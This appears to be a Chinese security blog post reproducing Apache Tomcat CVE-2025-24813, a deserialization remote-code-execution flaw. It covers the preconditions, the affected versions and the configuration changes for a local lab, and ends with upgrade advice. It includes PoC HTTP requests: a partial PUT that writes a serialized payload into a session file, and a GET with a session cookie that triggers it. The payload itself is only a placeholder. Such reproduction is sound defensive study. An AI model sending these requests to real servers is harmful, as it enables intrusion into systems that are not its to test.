先关注,不迷路.
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
漏洞介绍
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。该漏洞利用条件较为复杂,需同时满足以下四个条件:
-
应用程序启用了DefaultServlet写入功能,该功能默认关闭 -
应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启 -
应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置 -
应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
https://tomcat.apache.org/security-11.html
影响范围
-
9.0.0.M1 <= tomcat <= 9.0.98 -
10.1.0-M1 <= tomcat <= 10.1.34 -
11.0.0-M1 <= tomcat <= 11.0.2
漏洞复现
环境下载
https://archive.apache.org/dist/tomcat/tomcat-9/
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98-windows-x64.zip
apache-tomcat-9.0.98
来到根目录下,进入conf,先修改context.xml文件,在Context标签内新增配置:
(这微信页面直接复制代码格式会乱,可以浏览器打开复制)
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore"/>
</Manager>
再修改web.xml文件:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
取消只读
为了能利用需要反序列化链,将Commons Collections 3.2.1.jar放入webapps/ROOT/WEB-INF/lib
文件夹(没有lib目录就创建)。
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
之后启动tomcat 服务
还是使用Yakit, Yso-Java Hack快速生成一个利用payload
POC:
PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}
使用以下PoC触发(测试的时候发现就算不发送过一会也会触发命令)
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx
修复意见
Apache基金会官方已发布漏洞公告,可下载补丁更新:https://tomcat.apache.org/security-11.html
-
Upgrade to Apache Tomcat 11.0.3 or later -
Upgrade to Apache Tomcat 10.1.35 or later -
Upgrade to Apache Tomcat 9.0.99 or later
原文始发于微信公众号(PokerSec):【漏洞复现】Apache Tomcat 命令执行漏洞(CVE-2025-24813)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论